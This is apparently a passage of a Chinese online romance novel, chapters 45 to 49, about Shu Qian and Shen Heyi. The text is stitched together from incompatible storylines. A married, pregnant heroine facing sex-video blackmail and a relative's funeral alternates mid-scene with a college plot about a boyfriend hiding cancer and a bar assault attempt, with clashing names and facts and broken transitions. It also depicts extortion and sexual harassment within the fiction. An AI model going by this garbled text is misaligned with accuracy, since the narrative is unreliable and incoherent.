“当然呀,月份越大,肚子肯定会越来越大的,我上次加的宝妈群,她们还说,五个月的时候肚子会猛增……”
他笑着打断她:“我不是指这个。”
舒浅后知后觉明白些什么,她就知道沈和易没安好心,将他的手从睡裙里抽离走,不让他摸了。
他连忙跟紧她:“你还加的宝妈群吗?给我看看。”
第 45 章 第 45 章
“就这个啊。”
舒浅叹了一口气,不就一个宝妈群吗?他怎么什么都要看。
看他那好奇样,虽然不情不愿,但舒浅还是将群点开了,不然不就显得自己心里有鬼吗?
“诺。”她指了指,“就是这个啊。”
是在某红书看见的。
舒浅其实是个不喜欢热闹的人,但平日里搜多了,也就给她推了这方面信息,正好底下在谈新手宝妈注意事项,有个热心的过来人一直在回复大家信息,后来实在回不来,在底下评论:不如我们创个群吧,知道的呢就帮忙回一下,也方便不少。
舒浅被他说的一愣,没做什么反应。
看着手上的戒指,想起他给自己戴上时的场景,仿若当时灼热的气息和感受到的掌心余温还纠缠在一起。
她微微垂眼,自己在心中思量着。
虽然约定好了婚后互不干涉对方的生活,可终究没法否认两人是夫妻的事实,如果真的发生些什么,也是合情合理。
况且已经牵绊在了一起,或许未来几十年都是和彼此,总不会一直这样相敬如宾。
这是她一早就想得到的。
其实身边也不乏有玩得花的实例,是真的在各玩各的。
但她接受不了。
早在答应婚约的时候,她就有对他重新的了解过。
几年的时间太长久了,足够一个人转变,加上外界对他的评价一直褒贬不一,她总要看看未来与自己携手的人,到底够不够格。
结果也确实符合她心意。
舆论的导向也大多都是恨铁不成钢,觉得这位二公子无心家业、纵情享乐。这几年来并没有拍到过和其他女生的照片,她也并没从朋友口中听到相关的八卦。
确定过这一点后才有了两个人的今天。
能够同住一个屋檐,姓名出现在同在一张证书上。
舒浅偏过头,行进的车潮中,男人的侧脸掩映在晃动的光影中,将本就出众的五官衬的更利落,脸型流畅,鼻梁挺直,是骨相就很好看的那种。
想起那天黎岑瑶的话,她唇边扬起一抹浅笑,暗自点头。
越发觉得自己给他的备注很准确。
确实是小有姿色。
但她现在还能把持住自己,不至于被男色所惑。
被人盯得太久,沈和易终于出声,“这么着急?”
“着急什么?”
他没头没尾的一句话,听得她有些疑惑。
像是早就想好要说什么,沈和易轻笑了声,憋着坏:“舒小姐刚才的眼神,真是叫人难以忽视,看来是真的很期待新婚夜。”
“但是你先别着急,还得等会儿才能到家,忍一忍。”
他在京城生活了十几年,说话的腔调也沾染上了那边的味道,加上声音本来就好听,现在跟她讲话的时候懒懒散散的,听得顺耳。
舒浅:“……”“况且,我记得沈先生成绩并不差,怎么会不聪明呢。”
看着眼前人吃瘪的模样,舒浅略带得意的笑了下,从他面前抽身。
她不是第一次过来,自然也就不用等他带路,下了车后舒浅轻车熟路的往里面走。
两个人的婚房,是以前沈和易名下的房产,不过早在做婚前财产公证的时候就变成了她的,甚至这半个月来她还抽出时间对不满意的地方重新装修了下。
但也没做什么太多的变动,在审美和习惯上,舒浅觉得两个人的眼光还是挺一致的。
改动过后她便没再过来,今天算得上是验收。
“还算满意?”
刚被自己甩在身后的人,声音在耳边响起。
舒浅张望了下,“挺好的。”
这些年她都在国外,对家里倒也没有什么过多的依恋,但现下离开,到了一个陌生的环境,反而有些恋起家来。
心底翻涌上的感觉有些莫名。
就这样有了自己的家吗?
好像也没有电影里演的那样温馨和有归属感。
沈和易缓步走到桌前,把早准备好的香薰点燃。
“东西还有多少没有搬过来的?”他走回到舒浅身边问道。
她回来也才将将两个月,常用的东西其实没有多少。
但一搬家,用得上的用不上的就都想带到身边。
细细规整了一番以后,这一周陆陆续续开始倒是把家里搬了个大半。
“应该没有什么了吧,可以慢慢再看,缺什么再回去拿也来得及。”
视线所及倒是有她生活过痕迹的样子。
毕竟他一个大男人,也不会单独弄一个玩偶放置柜。
舒浅走过去,粗略的扫了下,这些倒是一个都没落下。
可是她不远万里从国外带回来的。
虽然都是单独买的,有的距离现在时间已经过去有些久,但她都还记得当时的心情。
几乎每一个都是用来哄自己开心的。
想到这她眼睫轻垂,眸光暗了暗。
橙香和玫瑰交织在一起,淡淡的香气在房间中飘散开,传入她鼻息间,是熟悉的味道。
她视线一瞥看到正燃着的香薰,眼中晃过一丝诧异,“你怎么知道这两个香薰混在一起很好闻的?”
“看来我是猜中答案了。”沈和易眼底的笑意深了些,“考官太严格,一点都不给透露,我只能自己慢慢琢磨太太心意。”
舒浅鼓了鼓嘴。
说得好像真的花费了很多心思和时间一样。
不过她确实因为这一点心情愉悦了些。
“晚上想去我家吃,还是我们在家里面吃,或者单独去餐厅也可以。”沈和易把所有可选项都为她列好,询问意见。
“是要跟你爸妈一起吃饭吗?”
今天在登记处,他妈妈又拉着她手提到过。
“嗯。”
舒浅抿了抿唇,不知道该怎么回答。
算下来,她和他父母也就才见过两面而已,现在叫她同桌同席,她确实是没太做好准备。
看出她的难处,沈和易先一步地说:“删除个选项。”
“是想在家里面吃,还是去外面吃。”
“不去跟你父母吃饭会不会不太好?”
才刚结婚,就拒绝邀请。
会不会显得她的这个儿媳架子很大。
“不会。”他出声安抚她的多虑,“他们会理解,新婚夫妻需要独处时间。”
后半句话沈和易说的欲言又止,在女生望向自己的时候才挑眉接上,“才能增进感情。”
正经的话两句半都说不上。
舒浅从他身边擦肩,坐到沙发上,“那去外面吃吧。”
最后两人去吃了家意大利餐厅。
本就是临时起意,舒浅都没指望着会订到位置,想着要是去不上就换一家,没想到能落到这样好的位置。
桌旁是一整面的落地窗,可以看到对面尖沙咀的夜景,暖黄的灯光照在头顶外加美景相配,这顿饭舒浅吃得还算开心。
回去的路上,她不禁想起,之前在哪里看到过说,两个人要是能够吃到一块去,那相处起来就应该会合拍。
舒浅看向正开车的人,不禁发笑。
几次下来,他们口味好像的确差不多。
合拍吗?
至少现在她还没发现。
“想什么呢,笑得那么开心?”
沈和易侧目,有些好奇。
舒浅神色有一瞬的不自然,“没什么。”
怎么可能会告诉他。
她不愿说,他也就没再追问。
只是给她提供了一个可行的建议,“既然有空,可以趁着还没到家,想想新婚夜我们该怎么过。”
他嘴角上扬,“应该会比刚才想到的事情要让人开心。”
“可能要让沈先生失望了,我只是在想今晚会不会叫沈先生的好朋友伤心。”
她没有那么直白的说出来,但沈和易听出了她的意思,“我有没有好朋友,舒小姐不是早就了解好了?”
被人戳中心思,舒浅神色一怔。
“看来是真的知道。”沈和易低低地笑了声,“沈太太的心意好像也没有很难猜。”
知道他是在回应傍晚时候她说的话。
舒浅给了他一记眼神后就扭过头。
继续说下去,能一人一句的扯到家,她懒得理。
沈和易也没再惹她。
等车子稳稳停下,他下车绕到她这边,撑手搭在车门上,将人拦在身前,“如你所见,你的沈先生身心都干净。”
他脸上扬着小得意,一副下一秒就要把自己送给她的样子,舒浅没忍住笑,她意味深长的嗯了声,“我该说什么?”
她自问自答:“说我还挺满意的。”
女生脸上露出个狡黠的笑,她歪了下头,“但是我确实并不是很感兴趣。”
沈和易挑眉,侧过身让她过去。
早在对房子做小改动的时候,舒浅就将一间卧室按照自己在家里的喜好改了过来,进了门以后,她就直奔二楼。
门把下压,推了一次没推开。
她眉心一皱,又试了第二次。
确认被锁上了以后,她憋着股气的转过身,站在楼梯口看着楼下慢慢悠悠走进来的人,“沈和易!”
“你锁我房间干什么?”
除了他,舒浅想不到谁会能干出这事。
沈和易抬眸,缓缓出声解释道:“装修的时候,赶上台风天,工人没盯好门窗,门被带上的时候震坏了门锁。”
上周确实是有台风过境,狂风骤雨不说,雷声也轰轰作响,她为了躲开还在家窝了一整天。
记忆在脑中对上,但舒浅还是对他的话存疑,可看他眉眼间也没有玩笑的意思,她最后只好勉强相信。
“既然坏了,那你怎么不叫人修上。”
说话间,沈和易已经走上来,他依靠在墙边,“考虑到是舒小姐精心挑选的房间,当然要用最好的,所以重新定制了门,就是等待的时间有点长,要三个月才能到货。”
他眉梢微扬,“舒小姐这点耐心总是有的吧?”
天下居然真的有完美的男人!
不仅性格好,脾气好,家境好,还长相好,愿意原谅这种原则性错误。
她用力咬紧牙关,只觉得要把下颌角咬碎。
在舒浅转身的时候,沉声道:“物以类聚,人以群分。赵持脚踏几只船踏的这么理所当然,你觉得,沈和易又能好到哪里去?就算他没有做出诸如此类的行为,但他的潜在价值观也认同赵持的行为。”
“我是在为你着想,舒浅。”晴瑶直视着她的眼睛,语气坚定,“你不该和他在一起,你们不是同类人。”
舒浅听到了晴瑶的劝告,心中虽有所触动,但却并未动摇。她经历过山体滑坡的瞬息万变,内心早已伤痕累累。相比之下,晴瑶居然还对沈和易抱有幻想,认为他是个值得依靠的好男人。
她轻蔑一笑,对于晴瑶口中所谓的“天塌大事”,在她看来根本不值一提。
她深知,自己与沈和易之间并无真爱可言,自己不过是他可以随意玩弄的工具。
因此,她反倒希望沈和易能多出去找些人,这样或许能分散他一些精力,不至于让他每天都如此旺盛,夜夜笙歌。
第 46 章 第 46 章
舒浅出去的时候就看见焦急找她的唐璐朝,一见到舒浅的身影,就连忙抓住舒浅的手指,亲切的问候:“是发生什么事了吗?怎么这么久才出来。”
舒浅想,还是别让唐璐朝担心了。
她不清楚她和沈和易是以哪种方式相遇,自然也不知道他们现在的相处方式,而且知道真相,对她百害无一利。
所以舒浅摇摇头:“没什么事,就是厕所人太多,排队排久了点。”
唐璐朝疑惑看了看里,明明人并不多啊。她收回目光,挽着舒浅的胳膊:“听说你们回老宅了?”
舒浅嗯了下,点了点头。
“好烦哦,和易都不带我回去。”
走廊窗边,沈和易低头看着视频,手里还夹着烟,久久没动一下。
舒浅穿着飘粉色吊带裙,很瘦,漂亮纤细,细细一截肩带要掉不掉,精致的锁骨往下,大片晃眼的雪白,根本遮不住什么。
遮住的部分,也很透,里面什么都没穿,一览无余。
露骨,说色晴也不为过。
像淫岁广告里的女主播。
舒浅心很乱,脑袋越来越疼,不明白秦晓为什么不在医院反而跑夜店去了。
蓝夜她去过一次,等不及沈和易过来,她直接打车过去。
白天的蓝夜,人不是很多,窗帘敞着,亮堂堂的,音乐从劲爆变为舒缓型,竟有种咖啡厅的味道。
舒浅出示身份证进去,前方传来笑闹声,她抬眼望去,正中央卡座沙发上坐了一圈人。
秦晓背对着她,只露出了脖子和短寸头脑袋,舒浅一眼认了出来。
秦晓真的在,他像是在笑,肩膀一耸一耸的,正和人聊天。
舒浅凝眉,快步走过去。
“老秦,大白天的把我们约到蓝夜,还明目张胆偷腥,不怕被你女朋友发现啊?”一个男生问。
这一句话,把舒浅钉在原地,表情怔怔的,细看才发现,秦晓和一个女生的脑袋贴得很近,从距离判断,他应该把她搂在怀里。
秦晓语调轻飘飘的,全然不在乎。
“有什么怕的,我早就腻烦她了,碰都不给碰,一点意思都没有,还是绮艳好。”
他凑近怀里的人,“你说是不是?”
“你别这样。”赵绮艳低头道。
那男生啧了一声,“舒浅那么漂亮,你真的舍得?”
“其实也舍不得,毕竟还没睡到。”秦晓长叹口气,“所以才骗她去医院做检查,等会儿还得回去装可怜,真麻烦。”
“牛啊。”男生叹为观止,“该不会你以前的不舒服都是装的,敢情都是去偷情去了。”
秦晓哼笑一声,“你小子别说出去啊。”
男生看着他身后,道:“好像已经来不及了。”
秦晓表情静止,缓缓转头。
舒浅站在不远处,脸容苍白,一点血色都没有,她什么都没说,转身离开,脚步有点晃。
秦晓的动作比大脑更快,他想也不想冲上去抓住她细瘦的手腕,慌张道:“阿浅,不是这样的……”
“啪——!”
舒浅用力扇了他一巴掌,红着眼道:“放手。”
秦晓看着她的眼泪,慢慢放开了手。
舒浅看都没看他,转身往外走,脚步逐渐加快,很快就看不到人影。
秦晓比她更失魂落魄,跌跪在地上,没一会儿鼻血流了出来。
“你情绪别激动。”
赵绮艳连忙过来递纸巾,让那些伪装成混混其实是家里医院员工的男生们过来扶他。
“这真的是你想要的结果吗?”
血滴在地上,晕染在艳丽的花,秦晓笑得讽刺。
“我还有别的选择吗?”
沈和易愣了片刻,目光掠过女生胸前的月形胎记,缓缓来到她的脸。
她的脸倒纯得和色晴沾不上边,黑发落在肩头,垂着眼皮睫毛乱颤,表情极度羞耻,都不敢看过来一眼。
都紧张成这样,她都没有遮住自己,抿唇忍耐着,胸口曲线一起一伏。
沈和易眼很深,想放轻呼吸,但控制不住,气息越来越重。
“秦、秦晓?”
舒浅声线发颤,叫了好几遍,都没人应。
她终于觉得奇怪,慢慢抬起头。
这个时候,关掉视频才是最好的选择。
可沈和易没有动,靠在墙边,就这么看着她的脸从红,到白,不过几秒钟时间。
手机另一端,舒浅看着镜头里的沈和易,大脑一片空白,条件反射抱胸蹲下身,听到自己冷静问:“你是拿错了手机吗?”
“不是。”
沈和易的声音滤过电流,和和冷冷,一贯没起伏。
“这是我微信。”
“……”
舒浅觉得他在瞎扯,她再怎么紧张也记得她点进去的是秦晓头像。
不过她现在没心情和他理论,猫着身子往上伸手,摸到手机后迅速长按关机键。
听到关机声,她的神经才松懈下来。
尴尬,窘迫,懊恼……铺天盖天席卷而来。
舒浅绝望地想,他表现得那么平静,应该没看到什么吧。
“阿浅,没事吧?我好像听到你叫了一声。”伍玲敲门。
舒浅调整好情绪,回道:“我没事。”
她脱了这身见不得人的衣服,本想直接扔了,可不好向秦晓交代,只好留下。
舒浅洗了个澡,换上普通的睡衣离开浴室。
颜月和伍玲坐在一起看恐怖电影,楚弥在敷面膜,没人知道她刚刚在浴室发生了什么。
舒浅再次把情趣内衣压箱底,将手机开机。
她关机后,和沈和易的视频聊天自然而然断了,他也没发别的过来。
舒浅仔细一看,发现他的头像乃至昵称,都和秦晓一模一样。
她决定不多打听别人家的私事,于是转而说道:“是不是要举行葬礼啊?”
“是啊。”他笑笑。
舒浅摸摸肚子:“那我也得去吧。”
他摇摇头:“舒浅你不用去,在家乖乖呆着养胎就好了。”
舒浅很固执:“不行啊,沈和易。”
他爷爷死了她能不去吗?这不太显得她小家子气了吧!虽然自己身怀六个月身孕,但是该走还是能走,该见还是得见呀。
她站起身来,走到沈和易的身旁:“沈和易,这次去的时候你一定要给我提前认认人。”
可不能出现上次的差错了。
第 47 章 第 47 章
沈和易看着舒浅这么认真的模样,摊开纸,只好将关系图写了下。
明明是可有可无的事情,舒浅去不去都无所谓,但看着她这么为他上心,他嘴角一扬,贴心的为她梳理人物关系。
舒浅似懂非懂的点头。
哦,上次坐她左前方的是舅妈,右前方的是姑妈,天哪,一家子坐到一块,她真的能准确认出谁是谁吗?她有点要晕倒。
沈和易及时拉了拉她,再次说:“去不去都可以啊。”
反正就是死个人罢了。
老爷子岁数大了,该死了,第二个年纪大的就是他爸了,到时候整个家族就由他来继承了。
不是考试周,人不是很多,稀稀拉拉分散各处。
舒浅随便找位置,准备坐下,忽然发现隔壁桌的人有点眼熟。
她正看着,沈和易抬起了头,平狭的眼尾略挑。
“……”
“你少说风凉话。”楚弥道,看到舒浅的脑袋微微一动,醒来了,立刻放轻声音,“阿浅,饿不饿?这儿有粥。”
舒浅还在出汗,闭着眼道:“不饿。”
“你一天没吃东西了,多少吃点,不然身子更虚。”
舒浅虽然没胃口,但听话,撑着床垫慢吞吞坐起身,小口嚼着楚弥喂来的粥。
伍玲道:“秦晓哪去了?这个时候连一句关心都没有。”
咀嚼的动作慢慢停住,舒浅艰难咽下皮蛋的蛋黄,小声道:“我和他分手了。”
除了楚弥,其他人都愣住了,颜月第一个问:“为什么?”
舒浅垂着眼睫,简单说了事情经过。
伍玲震惊又气愤,道:“看不出来他竟然是那种人,好恶心。”
“会不会有什么误会,他对你那么好,不应该啊。”颜月皱着眉,帮秦晓说话,“你和他聊过没有?”
“没什么好聊的。”舒浅耳朵嗡嗡地,唇色苍白,“你们以后别提他了。”
“就是。”楚弥又喂了勺粥,满不在意,“世上男人多的是,吊在一棵树上才不值得,阿浅,等你好了,我给你介绍更好的。”
舒浅没说话,头依旧很疼,吃完粥又躺回去了。
睡前她起来吃药,断断续续烧了一夜,第二天就退烧了,不过人依旧没什么精神,还好周日不用上课,她还能休息一天。
自那天后,宿舍没人再提起秦晓,舒浅也没再见过他。
他像是彻底从她生活中消失了一样,离开得干干净净,微信里也没留下只言片语。
要说不心寒是不可能的,从高中一路扶持到现在,舒浅自以为很了解他,看来不过是冰山一角。
日子平平淡淡过去一礼拜,舒浅再次听到秦晓消息,是星期四那天下午,她下了课回宿舍,在楼下碰到他妈妈。
“阿姨?”
秦母的脸憔悴许多,舒浅有点不敢认。
“阿浅。”秦母看到她,眼睛一下就红了,握住她的手道:“你是个好姑娘,是阿晓没那福气,对不起你。”
“都过去了。”舒浅撇开话题,问:“阿姨您怎么来了?”
秦母道:“阿晓要休学了,我来帮他办理一些手续,想着顺道过来看看你。”
“休学?”舒浅愣了,“为什么?”
秦母勉强一笑,“他说他不想读医,每天和我抱怨读不下去,我寻思着他既然这么痛苦,不如跟我去沪市做两年生意,说不定到时候苦得又觉得读书好了。”
原来是这样,舒浅语气平静道:“抱歉,当初都是因为我,他才报考医学专业,让他浪费了这么久时间。”
“傻孩子,这怎么能怪你。”秦母欲言又止,最后还是什么都没说,“我还有事先走了,你要好好照顾自己。”
“阿姨再见。”
目送舒浅进入宿舍楼,秦母擦了擦眼角溢出的泪水,转身走到一小段路,看着藏在墙角的儿子,道:“她走了,出来吧。”
秦晓没有动,低头沙哑问:“她怎么样?”
“挺好的。”秦母打起精神笑,“你好好治病,治好了再回来看她,给她一个惊喜。”
“我咨询过医生,鼻咽癌发现得早存活几率还是很大的……”
秦晓打断,“你忘了爷爷和爸爸是怎么走的吗?”
秦母不作声了。
“一个胃癌,一个胰腺癌。”秦晓惨笑,“都活不过一年,与其治得那么痛苦,不如让我死了算了。”
舒浅僵住,第一次看他穿白大褂,还戴副黑框眼镜,差点没认出来。
沈和易桌前堆了高高一摞书,似乎在查资料。
昨晚记忆浮现,舒浅无法再把他当作秦晓普通的室友看待,尴尬得想找洞钻进去。
“不坐吗?”沈和易突然合上书,语气稀疏平常。
他摘去眼镜揉了揉鼻梁,矜持又和贵。
“顺便聊下昨天的事。”
舒浅佯装淡定,“我已经不记得了。”
沈和易像没听见,平静道:“昨天我手机卡了,看不到对面,只有声音,还没说完你就挂了。”
“这样啊。”舒浅不太信,不过他既然给了台阶下,她便顺着说下去:“昨天我打错视频了,实在不好意思,为了避免不必要的误会,希望你不要告诉秦晓。”
沈和易唇角微扯,“放心。”
“我先走了。”
经过那样的乌龙,舒浅无法和他共处一室,转身欲走。
“轰隆——”
窗外响起一道惊雷,阴沉许久的天划过数道闪电。
舒浅看着瞬间下起的大雨,哑然。
“没带伞?”沈和易往外瞥了眼,拿出伞,“我送你。”
“不用。”舒浅脱口而出。
她抗拒得太明显,沈和易表情沉默了一下,把伞扔给她,“这伞是我借秦晓的。”
舒浅一怔,听到他轻描淡写说:
“你帮我还他。”
舒浅离开后,沈和易漠然看着窗外的雨,不知坐了多久,教授打电话来催,问他资料怎么查这么久,还不过来。
舒浅只是想和秦晓说一声,然后带颜月去吃饭,没想到他所有室友都在,还被请进了他们宿舍。
宋淮序笑道:“老秦,深藏不露啊,女朋友这么漂亮。”
沈和易靠在墙边,漫不经心低头看手机,仿佛第一次见。
钱航一脸羡慕地看着舒浅,“我要有这样的女朋友,做梦都会笑醒,话说我们要去吃饭,你要不要一起?老秦本来要去找你,现在正好。”
舒浅婉拒:“我这儿有朋友,不太方便。”
“我没关系,人多更热闹。”颜月立刻表态。
她看沈和易一直没说话,不由问道:“你们所有人都去吗?”
“我和阿易估计去不了。”宋淮序摇头,“我们待会儿还有……”
“去哪吃。”沈和易目光从手机屏幕上抬起,轻描淡写道:“我请客。”
宋淮序:“?”
“好耶!”钱航眉开眼笑,抓着秦晓商量去哪吃。
颜月插了句:“我本地人,知道附近有家好吃的店。”
秦晓:“哪儿?”
一伙人兴致勃勃,只有舒浅不想占人便宜,对秦晓道:“今天大家第一天认识,还是AA吧。”
她声音小,秦晓背对着她和钱航讨论,没听到。
“没事。”
舒浅察觉到身后动静,转头,沈和易随手把手机揣进口袋,从墙上直起身,慢慢走来。
他很高,一下就挡住了窗外光线,她的视野变得狭窄,目光正对着他颈部。
沈和易抬手捏了下脖子,姿态松懒,宽大的黑色领口滑了点下来,露出冷白瘦削的锁骨,上面有一颗淡红色的痣,妖冶生艳,可他的人又很冷,两种矛盾的气质杂糅在一起,说不出的禁欲色气。
舒浅不自觉退后一步。
她动作细微,不仔细看看不出来,沈和易动作却顿了下,抬起眸,“怕我?”
他声线有种冷质感,像一阵凛冽的风刮过耳畔,舒浅胸口略紧,其他人没有注意到这边,她定了定神,话说得客气:“不是,我只是觉得我们才初次见面,就让你破费不太好。”
沈和易眉角微挑,缓缓放下手,“不是你说,让我关照他。”
“马上。”沈和易挂了电话,把所有书归位,走到图书馆门口,抬头望天。
原以为只是雷阵雨,可丝毫没有减弱的迹象。
沈和易无所谓收回视线,刚要踏出房檐。
“那个,”
身后传来一道柔软微弱的女声。
沈和易脚步顿住,眼底惊讶转瞬即逝,转头,看到舒浅竟然没走。
她站在墙柱边,长长的发丝遮住侧脸,抿了下唇。
“秦晓说,让你自己还他。”
“这有什么的啊,舒浅。”他将她手机拿了出来,径直点开。
清晰的视频显现着,两个人交叠的身影,因为害怕碰到舒浅的肚子,所以他的手臂微微弓起,露出清晰的青筋,一直蜿蜒向上。
不愧是纯4k镜头,拍的就是清楚。
沈和易叹了口气,将手机还给舒浅,一副慌张模样:“怎么办啊,舒浅。”
舒浅:“……”
他反过来问她!?
第 48 章 第 48 章
视频中,两个人的动作清晰可见,还在乱动着。
沈和易的指尖扣住手机,敞开着,让舒浅的余光总能扫到那些羞涩画面。
她耳尖犯烫,连忙道:“沈和易,你能不能先把手机屏幕关了!”
真够行的。
嘴上说怎么办,行为却像是在欣赏,舒浅微微叹了口气,算了,语气抱怨他这一行为,不如先想解决办法吧。
她将视频点叉,指了指后面发的信息,说道:“他说要两千万就把这个视频给删了。”
然后,嗓音停顿片刻,“要不要……我们把钱给他……?”
十点半,伍玲已经醒来了,她昨晚打王者睡得比颜月还晚,这会吊着一口气给小偶像打榜。
宿舍门被推开,她下意识看了眼,惊得爬下床。
“阿浅,你怎么湿成这样,没带伞啊?”伍玲连忙把干毛巾给她。
“谢谢。”舒浅擦了擦脸,看到自己的伞凭空出现在桌子上,顿了两秒,望向颜月的方向。
她拉上了床帘,密不透风,毫无动静,不知道是不是在睡觉。
舒浅收回视线,朝伍玲笑了笑,“我去洗个澡。”
“去吧,别感冒了。”伍玲说。
等待烧水的这段时间,舒浅见秦晓没有消息,忍不住发微信问:【你做完检查了吗,怎么样?】
秦晓没回,伍玲提醒水烧好了,舒浅应了声,放下手机去洗澡。
洗了差不多半小时,她擦着头发慢慢走出来,感觉头有些晕,不知是洗得太久还是淋了雨的缘故。
她往太阳穴涂了点风油精,插上吹风机时,把手机拿过来,见这么久了秦晓还是没动静,眉头微皱,等头发干了,直接给他打电话。
没人接。图书馆,一楼自习室,天气太冷,只有零星几个人在。
舒浅撑着下巴,课本铺在眼前,她无意识地翻着书页,直到一整本翻完,她没看进去多少。
这里没有熟人在,她不再勉强自己,脑袋枕上手臂,把脸埋起来。
原来秦晓一声不响就已经坐飞机走了。
多可笑,她竟然成了最后一个知道的。
舒浅发着呆,感觉有杯热热的东西贴住自己的脸。
她惊得抬起头,撞入一双漆黑的眼。
“喝么?”
沈和易拎着一杯可可奶昔,懒洋洋坐到她对面。
舒浅摇头,“你怎么在这儿。”
“很失望?”沈和易看她表情,“来的不是秦晓。”
舒浅看着课本,道:“我没这么想。”
“他中午去的机场,你好像没送他。”沈和易掌心握着舒热的奶茶,指尖却是冰凉的。
他慢条斯理道:“不去见最后一面,这样好么。”
“我和他早就……”舒浅细品他的话,猛地看向他,“最后一面?什么意思?”
“字面意思。”沈和易掀了下唇。
“是不是秦晓和你说了什么?”
舒浅越想,越不对劲,秦晓的态度转变得太突然了,从他去医院后一切都变得奇怪起来,而且还突然休学。
舒浅联想到什么,立刻问:“是不是他真的检查出什么了,然后做戏给我看的?”
沈和易看着她,不说话。
“你告诉我好不好?”舒浅真的慌了,抓住他的胳膊,“要我做什么都行。”
“什么都行……”沈和易重复她这句话,似乎觉得讽刺,竟笑了一下,“你确定?”
舒浅第一次看到他笑,神色稍怔,听到他不紧不慢问:“这其中,包括做我女朋友吗?”
舒浅手一颤,松开他的胳膊。
“开个玩笑而已。”沈和易把可可递给她,淡淡道:“脸色不用这么难看。”
“喝了这个,就告诉你。”
舒浅一言不发地插上吸管,吸了好几口。
可可奶昔其实是她最喜欢的奶茶口味,但现在吃不出一点味道。
她一边喝,沈和易一边道:“他没有告诉我,但我认为他应该是确诊了癌症。”
舒浅心一沉,“什么癌?”
“不确定。”
空气陷入静默。
就在这时,沈和易手机疯狂振动起来,没多久,舒浅的手机也开始振了。
两人对视一眼,舒浅看到是伍玲打来的,接了起来,还没开口,伍玲急切的声音传出来。
“阿浅,你快看热搜,秦晓乘的那架飞机出事了!”
难道检查出什么很严重的病了?
想到这里,舒浅忐忑不安,披上外套,拿着伞匆匆出门,伍玲叫她都没听见。
舒浅一边下楼,一边联系秦晓的同学室友,包括之前加了好友的赵绮艳。
她在微信问了一圈,没人知道,赵绮艳没回。
翻到最后,舒浅看到沈和易还没换回来的头像,心一横,顾不上那么多,打了通语音电话过去。
医学楼,综合实验室。
沈和易戴着口罩,低头调试显微镜,手指白皙修长。
教授在一旁,看完他交来的小鼠腹腔血型凝集反应的实验报告,十分满意。
沈和易绝对是他带过最优秀且最有天赋的学生之一,无论让做什么实验都能面不改色进行到底,差错甚少。
“你下午有空没?”
教授笑呵呵看着自己的得意门生,“我一点半在南开医院有个肝切除手术,要不要跟过来看看。”
医院真实的手术不是学校实验能比拟的,沈和易没怎么犹豫,应了声行,来到洗手池边,摘去手套给手消毒。
放在桌上的手机响了,沈和易漫不经心瞥了眼,目光定住,手都没擦,接起来。
“喂。”
“不好意思,打扰一下。”舒浅喘气声重,听起来很急,“秦晓有联系过你吗?”
“没。”沈和易低眸,擦去手上的水,“发生什么事了?”
“别急,慢慢说。”
开始发信息:你的情况我了解了,确实挺可怜的呢,要不,我给你放宽放宽条件?
神秘人:这样吧,我们不谈钱了,谈谈别的。
舒浅两眼发光,心中窃喜。
她就知道,打同情牌是最好的方法!
她指尖连忙打字:谈什么呀?
对方:你发个自/卫视频给我看看。
看完我就删,一笔购销,行不行?
毕竟你身材这么好,我好想看啊。(^з^)
第 49 章 第 49 章
舒浅的脸蛋像是被冰封一样僵硬,甚至连抽搐的力气也没有。
她的身体像是被掏空一般,盯着嘟嘟嘴的颜表情,脑海中一遍一遍的重复着对方说的话:想看看你的……想看看你的。
看看你的什么!
舒浅定睛一看,顿感不知是自己要疯,还是对方疯了。
如此这么大胆的调戏良家妇女,一口怒气在不觉涌了上来,她背后有沈和易,如果她将聊天记录发送给他,沈和易大底是会要疯的吧。
毕竟他占有欲极强,连一个小娃娃都不让她接触,更何况现在面对的是一个色胆包天的成年男性。
走得太快,好像撞到了什么人。
舒浅没有抬头看,低声道歉,绕开他要走,一只削瘦有力的手掌紧紧扣住她的胳膊。
舒浅抬头看到沈和易。
他皱着好看的眉,语气很差,“怎么哭了?”
“没什么。”舒浅别开脸,另只手胡乱擦了擦眼,“你放开,我要回去了。”
她睫毛沾着水汽,很湿,声音细又哑,脸上没有一点气色,恹恹的。
沈和易眉头更紧,忽然抬手摸她额头。
舒浅身体颤了下,想躲开他的手,可他力气很大,摁住她不动,动作强硬。
“你在发烧。”沈和易放下手,低声说。
不等她说话,他微微躬身,一把将她背了起来。
“你干嘛?”舒浅被吓到,下意识扶住他的肩稳住身体,反应过来马上松手,全身僵硬得不行。
“去医院。”沈和易背着她去马路边。
舒浅挣扎了两下,“我想回学校。”
沈和易拦了辆车,问:“你想把烧传染给你室友?”
“……”
舒浅安静地钻进车,不再吭声。
司机是个寡言的人,车厢沉闷,沈和易摇下半截窗户,看着外面飞速倒退的街景,突然问:“找到秦晓了?”
许久,舒浅才轻轻嗯了声。
“人呢?”
“和赵绮艳在一起。”
颜月转头看到一个黄毛男,一脸猥琐,吓得甩开他的手,“别碰我。”
黄毛男被她过激的反应激怒,抓住她的手,“拽什么拽,来这里的女人会是什么好货色,别装和高。”
颜月挣脱不开,心生恐惧,看到舒浅还在前面坐着,连忙道:“那个坐在吧台前的女生是我朋友,她长得比我好看多了,你要找找她!”
黄毛男一看,单是舒浅的背影都比其他人要漂亮有气质,一时看失神,真就松开了颜月,颜月趁机混进人群里溜走。
舒浅喝完两杯酒,脑袋很胀,看人都带重影,晕乎乎的,酒杯忽然被拿走,她抬头看到一个不认识的男人对她笑。
“你朋友在叫你。”黄毛男抓着她胳膊,声音很轻,像是怕吓着她,“我带你过去。”
他力气倒很大,舒浅四肢无力,半推半就被他拉走。
她看了他一会儿,问:“我朋友在做什么?”
“在跳舞呢。”黄毛男笑着带她上楼去客房,“等会儿我们也去跳。”
舒浅不说话,路过卫生间时,突然轻轻说:“我想上厕所。”
“现在?”
“想吐。”
卫生间没人,黄毛男毫不避讳,直接带她进女厕,本想看着她吐,哪知道舒浅进了厕所后反手关门上锁。
她全程不声不响,说话都很舒吞,可动作之快让黄毛男傻了眼,反应过来后用力撞门,吼道:“他妈的敢骗老子,赶紧开门,不然等下有你苦头吃!”
舒浅用背抵着门,手指发抖地在手机上找人,本来该报警的,可此刻她头脑不和醒第一时间想到的是秦晓,不知怎么的去打他的电话,电话打不通,就去打微信语音,通了后哽咽求助:“秦晓,有人欺负我。”
不用她说,对面也能听到黄毛男的吼声。
“你在哪儿?”秦晓声很沉。
“在,蓝夜,客房,走廊卫生间。”舒浅描述得很慢,咬字吃力。
“电话别挂。”秦晓说,“我马上到。”
那头传来呼啸的风声,伴随着疾速的脚步声。
酒精发作,头越来越沉,不知过了多久,舒浅听见有人来了,也不知道外面发生了什么,黄毛男发出撕心裂肺的惨叫,骂骂咧咧跑走了。
